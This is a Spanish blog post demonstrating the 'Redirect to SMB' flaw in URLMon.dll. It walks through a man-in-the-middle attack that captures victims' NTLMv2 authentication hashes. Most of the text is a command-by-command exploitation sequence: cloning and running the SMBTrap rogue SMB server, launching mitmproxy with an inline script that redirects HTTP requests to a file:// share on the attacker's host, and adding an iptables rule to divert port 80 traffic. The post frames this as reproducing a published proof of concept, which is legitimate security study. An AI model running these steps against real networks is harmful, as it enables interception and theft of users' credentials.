Realmente la vulnerabilidad inicial data de 1997 cuando Aaron Splanger se dió cuenta de que para acceder a un recurso "img src=".2.3.4compartidoimagen.jpg" se enviaban los datos de autenticación, por aquel entonces con el débil LANMAN.
Ahora Cylance ha descubierto que el API de URLMon.dll que utilizan muchas aplicaciones también envía los hashes de autenticación cuando se intenta acceder a recursos SMB con "file://1.2.3.4... mediante redirecciones HTTP (típicamente 301 y 302). Eso sí los hashes con NTLMv2, no tan débiles pero si susceptibles a ataques de diccionario o fuerza bruta, un auténtico "tesoro" para un MiTM. Os recomiendo que echeis un vistazo a la entrada de Sergio de los Santos en el blog de Eleven Path donde se explica muy bien.
Sin embargo el objetivo de esta entrada es comprobar a nivel práctico la explotación de la vulnerabilidad siguiendo la PoC del Whitepaper de Cylance.
El escenario es un ataque MiTM: partiendo que previamente se ha envenenado el caché ARP o DNS, las peticiones HTTP de la víctima se redirigirán al servidor del atacante que a su vez las enviará a un servidor SMB local que obtendrá los hashes.
Primero descargamos y levantamos el servidor SMB que recogerá todos los intentos de autenticación:
root@kali:~# git clone https://github.com/CylanceSPEAR/SMBTrap.git
Cloning into 'SMBTrap'...
remote: Counting objects: 21, done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 21 (delta 4), reused 21 (delta 4), pack-reused 0
Unpacking objects: 100% (21/21), done.
root@kali:~# cd SMBTrap/smbtrap/
root@kali:~/SMBTrap/smbtrap# python smbtrap2.py Después, mediante un script inline de MITMProxy, habilitaremos el servidor HTTP para reenviar la peticiones al servidor SMB:
root@kali:~# mitmproxy --version
mitmproxy 0.11.3
root@kali:~/SMBTrap/smbtrap# cd ../external_project_modules/mitmproxy/
root@kali:~/SMBTrap/external_project_modules/mitmproxy# mitmproxy -s 'smbtrap-mitmproxy-inline.py 10.20.18.204' -T --hostAhora todas las peticiones HTTP dirigidas al puerto TCP 8080 serán redireccionadas con un HTTP 302 a file://10.20.18.204/mitmproxy-identifier.
Como veis tenemos ambos servidores escuchando:
root@kali:~# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 4852/python
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 4884/python Finalmente sólo necesitamos redireccionar el tráfico del TCP 80 al TCP 8080 mediante iptables o Zarp (u otros):
root@kali:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080o
Ahora simplemente probamos a lanzar una actualización de software mediante una aplicación vulnerable (que utilice las APIs de URLMon.dll):
Y voilá!
Autor
